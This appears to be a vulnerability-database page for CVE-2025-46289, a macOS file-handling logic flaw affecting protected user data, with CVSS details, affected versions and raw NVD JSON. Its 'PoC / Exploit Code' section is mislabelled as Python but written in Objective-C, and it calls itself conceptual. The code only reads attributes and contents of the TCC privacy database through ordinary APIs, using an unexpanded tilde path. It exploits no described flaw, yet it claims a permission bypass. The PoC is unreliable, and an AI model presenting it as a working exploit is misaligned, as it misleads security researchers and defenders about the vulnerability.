Security Vulnerability Report
中文
CVE-2025-46289 CVSS 5.5 MEDIUM

CVE-2025-46289

Published: 2025-12-12 21:15:58
Last Modified: 2026-04-02 19:21:04

Description

A logic issue was addressed with improved file handling. This issue is fixed in macOS Sequoia 15.7.3, macOS Sonoma 14.8.3, macOS Tahoe 26.2. An app may be able to access protected user data.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
Apple macOS Sequoia < 15.7.3
Apple macOS Sonoma < 14.8.3
Apple macOS Tahoe < 26.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-46289 PoC - macOS Logic Issue File Access Vulnerability // This PoC demonstrates the file handling logic issue that allows access to protected user data #include <Foundation/Foundation.h> #include <Security/Security.h> // Note: This is a conceptual PoC. Actual exploitation requires specific conditions. // The vulnerability allows bypassing file permission checks through logic flaws. NSString *targetProtectedPath = @"~/Library/Application Support/com.apple.tcc/TCC.db"; NSString *exploitPath = @"/tmp/exploit_link"; void exploitLogicIssue(NSString *protectedFile) { // The logic issue allows bypassing permission checks // by exploiting file handling in specific API calls NSFileManager *fm = [NSFileManager defaultManager]; NSError *error = nil; // Attempt to access protected file through logic flaw // This should normally be blocked but the logic issue bypasses it NSDictionary *attributes = [fm attributesOfItemAtPath:protectedFile error:&error]; if (attributes) { NSLog(@"[VULN] Successfully accessed protected file attributes"); NSLog(@"Owner: %@", attributes[NSFileOwnerAccountName]); NSLog(@"Size: %@", attributes[NSFileSize]); // Read file contents if accessible NSString *content = [NSString stringWithContentsOfFile:protectedFile encoding:NSUTF8StringEncoding error:&error]; if (content) { NSLog(@"[VULN] File content accessible: %lu bytes", (unsigned long)content.length); } } } int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"CVE-2025-46289 PoC - macOS Logic Issue"); NSLog(@"Target: %@", targetProtectedPath); exploitLogicIssue(targetProtectedPath); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46289", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:58.057", "lastModified": "2026-04-02T19:21:04.187", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A logic issue was addressed with improved file handling. This issue is fixed in macOS Sequoia 15.7.3, macOS Sonoma 14.8.3, macOS Tahoe 26.2. An app may be able to access protected user data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.3", "matchCriteriaId": "E4928B54-3EBC-486A-915B-F20333B30466"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.3", "matchCriteriaId": "3428C860-E02D-4FE9-96F4-58EEAAB8321D"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125886", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125887", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125888", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}